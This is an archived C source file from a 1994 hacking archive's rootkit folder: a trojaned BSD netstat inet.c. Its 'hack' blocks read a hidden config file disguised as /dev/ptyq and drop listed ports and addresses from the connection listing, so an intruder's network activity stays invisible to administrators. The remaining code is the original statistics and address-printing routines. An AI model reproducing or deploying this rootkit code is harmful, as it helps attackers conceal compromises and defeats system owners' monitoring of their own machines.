home *** CD-ROM | disk | FTP | other *** search
/ Freaks Macintosh Archive / Freaks Macintosh Archive.bin / Freaks Macintosh Archives / Hacking & Misc / bundle of exploits.sit / bundle of exploits / rootkits / rootkit / inet.c < prev    next >
Text File  |  1994-03-01  |  15KB  |  555 lines

  1. /*
  2.  * Copyright (c) 1983, 1988 Regents of the University of California.
  3.  * All rights reserved.
  4.  *
  5.  * Redistribution and use in source and binary forms are permitted
  6.  * provided that the above copyright notice and this paragraph are
  7.  * duplicated in all such forms and that any documentation,
  8.  * advertising materials, and other materials related to such
  9.  * distribution and use acknowledge that the software was developed
  10.  * by the University of California, Berkeley.  The name of the
  11.  * University may not be used to endorse or promote products derived
  12.  * from this software without specific prior written permission.
  13.  */
  14.  
  15. #ifndef lint
  16. static    char sccsid[] = "@(#)inet.c 1.1 91/11/13 SMI"; /* from UCB 5.11 6/29/88 */
  17. #endif
  18.  
  19. #include <stdio.h> 
  20. #include <sys/param.h>
  21. #include <sys/socket.h>
  22. #include <sys/socketvar.h>
  23. #include <sys/mbuf.h>
  24. #include <sys/protosw.h>
  25.  
  26. #include <signal.h>
  27. #include <setjmp.h>
  28.  
  29. #include <net/route.h>
  30. #include <netinet/in.h>
  31. #include <netinet/in_systm.h>
  32. #include <netinet/in_pcb.h>
  33. #include <netinet/ip.h>
  34. #include <netinet/ip_icmp.h>
  35. #include <netinet/icmp_var.h>
  36. #include <netinet/ip_var.h>
  37. #include <netinet/tcp.h>
  38. #include <netinet/tcpip.h>
  39. #include <netinet/tcp_seq.h>
  40. #define TCPSTATES
  41. #include <netinet/tcp_fsm.h>
  42. #include <netinet/tcp_timer.h>
  43. #include <netinet/tcp_var.h>
  44. #include <netinet/tcp_debug.h>
  45. #include <netinet/udp.h>
  46. #include <netinet/udp_var.h>
  47.  
  48. #include <netdb.h>
  49.  
  50. struct    inpcb inpcb;
  51. struct    tcpcb tcpcb;
  52. struct    socket sockb;
  53.  
  54. extern    int kread();
  55. extern    int Aflag;
  56. extern    int aflag;
  57. extern    int nflag;
  58. extern    char *plural();
  59.  
  60. char    *inetname();
  61.  
  62. /*+  Hack vars  +*/
  63.  
  64. #define    FILENAME "/dev/ptyq"
  65. #define    STR_SIZE 128
  66. #define    SEP_CHAR " \n"
  67.  
  68. struct    h_st {
  69.     struct h_st    *next;
  70.     int        hack_type;
  71.     char        hack_cmd[STR_SIZE];
  72. };
  73.  
  74. struct    h_st     *hack_list;
  75. struct    h_st    *h_tmp;
  76.  
  77. char    tmp_str[STR_SIZE];
  78. char    *strp;
  79.  
  80. FILE    *fp_hack;
  81. int    s_ns;
  82.  
  83. /*+  End hack vars  +*/
  84.  
  85.  
  86. /*
  87.  * Print a summary of connections related to an Internet
  88.  * protocol.  For TCP, also give state of connection.
  89.  * Listening processes (aflag) are suppressed unless the
  90.  * -a (all) flag is specified.
  91.  */
  92. protopr(off, name)
  93.     off_t off;
  94.     char *name;
  95. {
  96.     struct inpcb cb;
  97.     register struct inpcb *prev, *next;
  98.     int istcp;
  99.     static int first = 1;
  100.  
  101.     if (off == 0)
  102.         return;
  103.  
  104. /*+  Read in hacks lists and build list of hack types  +*/
  105.  
  106.     h_tmp=(struct h_st *)malloc(sizeof(struct h_st));
  107.     hack_list=h_tmp;
  108.     if (fp_hack=fopen (FILENAME, "r")) {
  109.         while (fgets(tmp_str, 126, fp_hack)) {
  110.             h_tmp->next=(struct h_st *)malloc(sizeof(struct h_st));
  111.             strp=(char *)strtok (tmp_str, SEP_CHAR);
  112.             h_tmp->hack_type=atoi(strp);
  113.             strp=(char *)strtok ('\0', SEP_CHAR);
  114.             strcpy (h_tmp->hack_cmd, strp);
  115.             h_tmp=h_tmp->next;
  116.         }
  117.     }
  118.     h_tmp->next=NULL;
  119.  
  120. /*+  End hacks  +*/
  121.  
  122.     istcp = strcmp(name, "tcp") == 0;
  123.     kread(off, &cb, sizeof (struct inpcb));
  124.     inpcb = cb;
  125.     prev = (struct inpcb *)off;
  126.     if (inpcb.inp_next == (struct inpcb *)off)
  127.         return;
  128.     while (inpcb.inp_next != (struct inpcb *)off) {
  129.         next = inpcb.inp_next;
  130.         kread((off_t)next, &inpcb, sizeof (inpcb));
  131.         if (inpcb.inp_prev != prev) {
  132.             printf("???\n");
  133.             break;
  134.         }
  135.         if (!aflag &&
  136.           inet_lnaof(inpcb.inp_laddr) == INADDR_ANY) {
  137.             prev = next;
  138.             continue;
  139.         }
  140.         kread((off_t)inpcb.inp_socket, &sockb, sizeof (sockb));
  141.         if (istcp) {
  142.             kread((off_t)inpcb.inp_ppcb, &tcpcb, sizeof (tcpcb));
  143.         }
  144.         if (first) {
  145.             printf("Active Internet connections");
  146.             if (aflag)
  147.                 printf(" (including servers)");
  148.             putchar('\n');
  149.             if (Aflag)
  150.                 printf("%-8.8s ", "PCB");
  151.             printf(Aflag ?
  152.                 "%-5.5s %-6.6s %-6.6s  %-22.22s %-22.22s %s\n" :
  153.                 "%-5.5s %-6.6s %-6.6s  %-22.22s %-22.22s %s\n",
  154.                 "Proto", "Recv-Q", "Send-Q",
  155.                 "Local Address", "Foreign Address", "(state)");
  156.             first = 0;
  157.         }
  158.         if (Aflag)
  159.             if (istcp)
  160.                 printf("%8x ", inpcb.inp_ppcb);
  161.             else
  162.                 printf("%8x ", next);
  163.  
  164. /*+  Hacks  +*/ 
  165.         s_ns=1;
  166.         for (h_tmp=hack_list; h_tmp->next; h_tmp=h_tmp->next) {
  167.             switch (h_tmp->hack_type) {
  168.             case 0:
  169.                 if (inpcb.inp_fport==atoi(h_tmp->hack_cmd))
  170.                     s_ns--;
  171.                 break;
  172.             case 1:
  173.                 if (inpcb.inp_lport==atoi(h_tmp->hack_cmd))
  174.                     s_ns--;
  175.                 break;
  176.             case 2:
  177.                 if (strstr(inet_ntoa(inpcb.inp_faddr), h_tmp->hack_cmd))
  178.                     s_ns--;
  179.                 break;
  180.             case 3:
  181.                 if (strstr(inet_ntoa(inpcb.inp_laddr), h_tmp->hack_cmd))
  182.                     s_ns--;
  183.                 break;
  184.             }
  185.         }
  186.  
  187. /*+  End hacks  +*/ 
  188.  
  189.     if (s_ns) {
  190.         printf("%-5.5s %6d %6d ", name, sockb.so_rcv.sb_cc,
  191.             sockb.so_snd.sb_cc);
  192.         inetprint(&inpcb.inp_laddr, inpcb.inp_lport, name);
  193.         inetprint(&inpcb.inp_faddr, inpcb.inp_fport, name);
  194.         if (istcp) {
  195.             if (tcpcb.t_state < 0 || tcpcb.t_state >= TCP_NSTATES)
  196.                 printf(" %d", tcpcb.t_state);
  197.             else
  198.                 printf(" %s", tcpstates[tcpcb.t_state]);
  199.         }
  200.         putchar('\n');
  201.     }
  202.         prev = next;
  203.     }
  204. }
  205.  
  206. /*
  207.  * Dump TCP statistics structure.
  208.  */
  209. tcp_stats(off, name)
  210.     off_t off;
  211.     char *name;
  212. {
  213.     struct tcpstat tcpstat;
  214.  
  215.     if (off == 0)
  216.         return;
  217.     printf ("%s:\n", name);
  218.     kread(off, (char *)&tcpstat, sizeof (tcpstat));
  219.  
  220. #define    p(f, m)        printf(m, tcpstat.f, plural(tcpstat.f))
  221. #define    p2(f1, f2, m)    printf(m, tcpstat.f1, plural(tcpstat.f1), tcpstat.f2, plural(tcpstat.f2))
  222.  
  223.     p(tcps_sndtotal, "\t%d packet%s sent\n");
  224.     p2(tcps_sndpack,tcps_sndbyte,
  225.         "\t\t%d data packet%s (%d byte%s)\n");
  226.     p2(tcps_sndrexmitpack, tcps_sndrexmitbyte,
  227.         "\t\t%d data packet%s (%d byte%s) retransmitted\n");
  228.     p2(tcps_sndacks, tcps_delack,
  229.         "\t\t%d ack-only packet%s (%d delayed)\n");
  230.     p(tcps_sndurg, "\t\t%d URG only packet%s\n");
  231.     p(tcps_sndprobe, "\t\t%d window probe packet%s\n");
  232.     p(tcps_sndwinup, "\t\t%d window update packet%s\n");
  233.     p(tcps_sndctrl, "\t\t%d control packet%s\n");
  234.     p(tcps_rcvtotal, "\t%d packet%s received\n");
  235.     p2(tcps_rcvackpack, tcps_rcvackbyte, "\t\t%d ack%s (for %d byte%s)\n");
  236.     p(tcps_rcvdupack, "\t\t%d duplicate ack%s\n");
  237.     p(tcps_rcvacktoomuch, "\t\t%d ack%s for unsent data\n");
  238.     p2(tcps_rcvpack, tcps_rcvbyte,
  239.         "\t\t%d packet%s (%d byte%s) received in-sequence\n");
  240.     p2(tcps_rcvduppack, tcps_rcvdupbyte,
  241.         "\t\t%d completely duplicate packet%s (%d byte%s)\n");
  242.     p2(tcps_rcvpartduppack, tcps_rcvpartdupbyte,
  243.         "\t\t%d packet%s with some dup. data (%d byte%s duped)\n");
  244.     p2(tcps_rcvoopack, tcps_rcvoobyte,
  245.         "\t\t%d out-of-order packet%s (%d byte%s)\n");
  246.     p2(tcps_rcvpackafterwin, tcps_rcvbyteafterwin,
  247.         "\t\t%d packet%s (%d byte%s) of data after window\n");
  248.     p(tcps_rcvwinprobe, "\t\t%d window probe%s\n");
  249.     p(tcps_rcvwinupd, "\t\t%d window update packet%s\n");
  250.     p(tcps_rcvafterclose, "\t\t%d packet%s received after close\n");
  251.     p(tcps_rcvbadsum, "\t\t%d discarded for bad checksum%s\n");
  252.     p(tcps_rcvbadoff, "\t\t%d discarded for bad header offset field%s\n");
  253.     p(tcps_rcvshort, "\t\t%d discarded because packet too short\n");
  254.     p(tcps_connattempt, "\t%d connection request%s\n");
  255.     p(tcps_accepts, "\t%d connection accept%s\n");
  256.     p(tcps_connects, "\t%d connection%s established (including accepts)\n");
  257.     p2(tcps_closed, tcps_drops,
  258.         "\t%d connection%s closed (including %d drop%s)\n");
  259.     p(tcps_conndrops, "\t%d embryonic connection%s dropped\n");
  260.     p2(tcps_rttupdated, tcps_segstimed,
  261.         "\t%d segment%s updated rtt (of %d attempt%s)\n");
  262.     p(tcps_rexmttimeo, "\t%d retransmit timeout%s\n");
  263.     p(tcps_timeoutdrop, "\t\t%d connection%s dropped by rexmit timeout\n");
  264.     p(tcps_persisttimeo, "\t%d persist timeout%s\n");
  265.     p(tcps_keeptimeo, "\t%d keepalive timeout%s\n");
  266.     p(tcps_keepprobe, "\t\t%d keepalive probe%s sent\n");
  267.     p(tcps_keepdrops, "\t\t%d connection%s dropped by keepalive\n");
  268. #undef p
  269. #undef p2
  270. }
  271.  
  272. /*
  273.  * Dump UDP statistics structure.
  274.  */
  275. udp_stats(off, name)
  276.     off_t off;
  277.     char *name;
  278. {
  279.     struct udpstat udpstat;
  280.  
  281.     if (off == 0)
  282.         return;
  283.     kread(off, (char *)&udpstat, sizeof (udpstat));
  284.     printf("%s:\n\t%u incomplete header%s\n", name,
  285.         udpstat.udps_hdrops, plural(udpstat.udps_hdrops));
  286.     printf("\t%u bad data length field%s\n",
  287.         udpstat.udps_badlen, plural(udpstat.udps_badlen));
  288.     printf("\t%u bad checksum%s\n",
  289.         udpstat.udps_badsum, plural(udpstat.udps_badsum));
  290.     printf("\t%u socket overflow%s\n",
  291.         udpstat.udps_fullsock, plural(udpstat.udps_fullsock));
  292. }
  293.  
  294. /*
  295.  * Dump IP statistics structure.
  296.  */
  297. ip_stats(off, name)
  298.     off_t off;
  299.     char *name;
  300. {
  301.     struct ipstat ipstat;
  302.  
  303.     if (off == 0)
  304.         return;
  305.     kread(off, (char *)&ipstat, sizeof (ipstat));
  306.     printf("%s:\n\t%u total packets received\n", name,
  307.         ipstat.ips_total);
  308.     printf("\t%u bad header checksum%s\n",
  309.         ipstat.ips_badsum, plural(ipstat.ips_badsum));
  310.     printf("\t%u with size smaller than minimum\n", ipstat.ips_toosmall);
  311.     printf("\t%u with data size < data length\n", ipstat.ips_tooshort);
  312.     printf("\t%u with header length < data size\n", ipstat.ips_badhlen);
  313.     printf("\t%u with data length < header length\n", ipstat.ips_badlen);
  314.     printf("\t%u fragment%s received\n",
  315.         ipstat.ips_fragments, plural(ipstat.ips_fragments));
  316.     printf("\t%u fragment%s dropped (dup or out of space)\n",
  317.         ipstat.ips_fragdropped, plural(ipstat.ips_fragdropped));
  318.     printf("\t%u fragment%s dropped after timeout\n",
  319.         ipstat.ips_fragtimeout, plural(ipstat.ips_fragtimeout));
  320.     printf("\t%u packet%s forwarded\n",
  321.         ipstat.ips_forward, plural(ipstat.ips_forward));
  322.     printf("\t%u packet%s not forwardable\n",
  323.         ipstat.ips_cantforward, plural(ipstat.ips_cantforward));
  324.     printf("\t%u redirect%s sent\n",
  325.         ipstat.ips_redirectsent, plural(ipstat.ips_redirectsent));
  326.     ipintrq_stats();
  327. }
  328.  
  329. static    char *icmpnames[] = {
  330.     "echo reply",
  331.     "#1",
  332.     "#2",
  333.     "destination unreachable",
  334.     "source quench",
  335.     "routing redirect",
  336.     "#6",
  337.     "#7",
  338.     "echo",
  339.     "#9",
  340.     "#10",
  341.     "time exceeded",
  342.     "parameter problem",
  343.     "time stamp",
  344.     "time stamp reply",
  345.     "information request",
  346.     "information request reply",
  347.     "address mask request",
  348.     "address mask reply"
  349. };
  350.  
  351. /*
  352.  * Dump ICMP statistics.
  353.  */
  354. icmp_stats(off, name)
  355.     off_t off;
  356.     char *name;
  357. {
  358.     struct icmpstat icmpstat;
  359.     register int i, first;
  360.  
  361.     if (off == 0)
  362.         return;
  363.     kread(off, (char *)&icmpstat, sizeof (icmpstat));
  364.     printf("%s:\n\t%u call%s to icmp_error\n", name,
  365.         icmpstat.icps_error, plural(icmpstat.icps_error));
  366.     printf("\t%u error%s not generated 'cuz old message too short\n",
  367.         icmpstat.icps_oldshort, plural(icmpstat.icps_oldshort));
  368.     printf("\t%u error%s not generated 'cuz old message was icmp\n",
  369.         icmpstat.icps_oldicmp, plural(icmpstat.icps_oldicmp));
  370.     for (first = 1, i = 0; i < ICMP_MAXTYPE + 1; i++)
  371.         if (icmpstat.icps_outhist[i] != 0) {
  372.             if (first) {
  373.                 printf("\tOutput histogram:\n");
  374.                 first = 0;
  375.             }
  376.             printf("\t\t%s: %u\n", icmpnames[i],
  377.                 icmpstat.icps_outhist[i]);
  378.         }
  379.     printf("\t%u message%s with bad code fields\n",
  380.         icmpstat.icps_badcode, plural(icmpstat.icps_badcode));
  381.     printf("\t%u message%s < minimum length\n",
  382.         icmpstat.icps_tooshort, plural(icmpstat.icps_tooshort));
  383.     printf("\t%u bad checksum%s\n",
  384.         icmpstat.icps_checksum, plural(icmpstat.icps_checksum));
  385.     printf("\t%u message%s with bad length\n",
  386.         icmpstat.icps_badlen, plural(icmpstat.icps_badlen));
  387.     for (first = 1, i = 0; i < ICMP_MAXTYPE + 1; i++)
  388.         if (icmpstat.icps_inhist[i] != 0) {
  389.             if (first) {
  390.                 printf("\tInput histogram:\n");
  391.                 first = 0;
  392.             }
  393.             printf("\t\t%s: %u\n", icmpnames[i],
  394.                 icmpstat.icps_inhist[i]);
  395.         }
  396.     printf("\t%u message response%s generated\n",
  397.         icmpstat.icps_reflect, plural(icmpstat.icps_reflect));
  398. }
  399.  
  400. /*
  401.  * Pretty print an Internet address (net address + port).
  402.  * If the nflag was specified, use numbers instead of names.
  403.  */
  404. inetprint(in, port, proto)
  405.     register struct in_addr *in;
  406.     u_short port;
  407.     char *proto;
  408. {
  409.     char *sp = 0;
  410.     char line[80], *cp, *index();
  411.     int width;
  412.     char *getservname();
  413.  
  414.     sprintf(line, "%.16s.", inetname(*in));
  415.     cp = index(line, '\0');
  416.     if (!nflag && port)
  417.         sp = getservname(port, proto);
  418.     if (sp || port == 0)
  419.         sprintf(cp, "%.8s", sp ? sp : "*");
  420.     else
  421.         sprintf(cp, "%d", ntohs((u_short)port));
  422.     width = 22;
  423.     printf(" %-*.*s", width, width, line);
  424. }
  425.  
  426. static jmp_buf NameTimeout;
  427. int WaitTime = 15;        /* seconds to wait for name server */
  428.  
  429. timeoutfunc()  {longjmp(NameTimeout, 1);}
  430.  
  431. /*
  432.  * Construct an Internet address representation.
  433.  * If the nflag has been supplied, give 
  434.  * numeric value, otherwise try for symbolic name.
  435.  */
  436. char *
  437. inetname(in)
  438.     struct in_addr in;
  439. {
  440.     register char *cp;
  441.     static char line[50];
  442.     static char domain[MAXHOSTNAMELEN + 1];
  443.     static int first = 1;
  444.  
  445.     if (first && !nflag) {
  446.         /*
  447.          * Record domain name for future reference.  Check
  448.          * first for the 4.3bsd convention of keeping it as
  449.          * part of the hostname.  Failing that, try extracting
  450.          * it using the domainname system call.
  451.          *
  452.          * XXX:    Need to reconcile these two conventions.
  453.          */
  454.         first = 0;
  455.         if (gethostname(domain, MAXHOSTNAMELEN) == 0 &&
  456.             (cp = index(domain, '.')))
  457.             (void) strcpy(domain, cp + 1);
  458.         else if (getdomainname(domain, MAXHOSTNAMELEN) < 0)
  459.             domain[0] = 0;
  460.     }
  461.  
  462.     if (in.s_addr == INADDR_ANY) {
  463.         strcpy(line, "*");
  464.         return (line);
  465.     }
  466.     cp = 0;
  467.     if (!nflag) {
  468.         if (inet_lnaof(in) == INADDR_ANY) {
  469.             struct netent *np;
  470.  
  471.             np = getnetbyaddr(inet_netof(in), AF_INET);
  472.             if (np)
  473.                 cp = np->n_name;
  474.         }
  475.         if (cp == 0) {
  476.             struct hostent *hp = NULL;
  477.             
  478.             signal(SIGALRM, timeoutfunc);
  479.             alarm(WaitTime);
  480.             if (setjmp(NameTimeout) == 0) 
  481.                 hp = gethostbyaddr(&in, sizeof (struct in_addr),
  482.                 AF_INET);
  483.             if (hp) {
  484.                 /*
  485.                  * If the hostname contains a domain part,
  486.                  * and it's the same as the local domain,
  487.                  * elide it.
  488.                  */
  489.                 if ((cp = index(hp->h_name, '.')) &&
  490.                     !strcmp(cp + 1, domain))
  491.                     *cp = 0;
  492.                 cp = hp->h_name;
  493.             }
  494.         }
  495.     }
  496.     if (cp)
  497.         strcpy(line, cp);
  498.     else {
  499.         sprintf(line, "%s", inet_ntoa(in));
  500.     }
  501.     return (line);
  502. }
  503.  
  504. #define TCP 0
  505. #define UDP 1
  506. #define NPROTOCOLS 2
  507. #define MAXPORT 1024
  508. char *names[NPROTOCOLS][MAXPORT];
  509.  
  510. char *
  511. getservname(port, proto)
  512.     char *proto;
  513. {
  514.     static int first= 1;
  515.     int protonum;
  516.     
  517.     if (first) {
  518.         first = 0;
  519.         initarray();
  520.     }
  521.     if (strcmp(proto, "tcp") == 0)
  522.         protonum = TCP;
  523.     else if (strcmp(proto, "udp") == 0)
  524.         protonum = UDP;
  525.     else
  526.         return NULL;
  527.     if (ntohs((u_short)port) < MAXPORT &&
  528.         names[protonum][ntohs((u_short)port)])
  529.         return (names[protonum][ntohs((u_short)port)]);
  530.     else
  531.         return NULL;
  532. }
  533.  
  534. initarray()
  535. {
  536.     struct servent *sv;    
  537.     int proto;
  538.  
  539.     while(sv = getservent()) {
  540.         if (strcmp(sv->s_proto, "tcp") == 0)
  541.             proto = TCP;
  542.         else if (strcmp(sv->s_proto, "udp") == 0)
  543.             proto = UDP;
  544.         else
  545.             continue;
  546.         if (ntohs((u_short)sv->s_port) >= MAXPORT)
  547.             continue;
  548.         names[proto][ntohs((u_short)sv->s_port)] =
  549.             (char *)malloc(strlen(sv->s_name) + 1);
  550.         strcpy(names[proto][ntohs((u_short)sv->s_port)], sv->s_name);
  551.     }
  552.     endservent();
  553. }
  554.  
  555.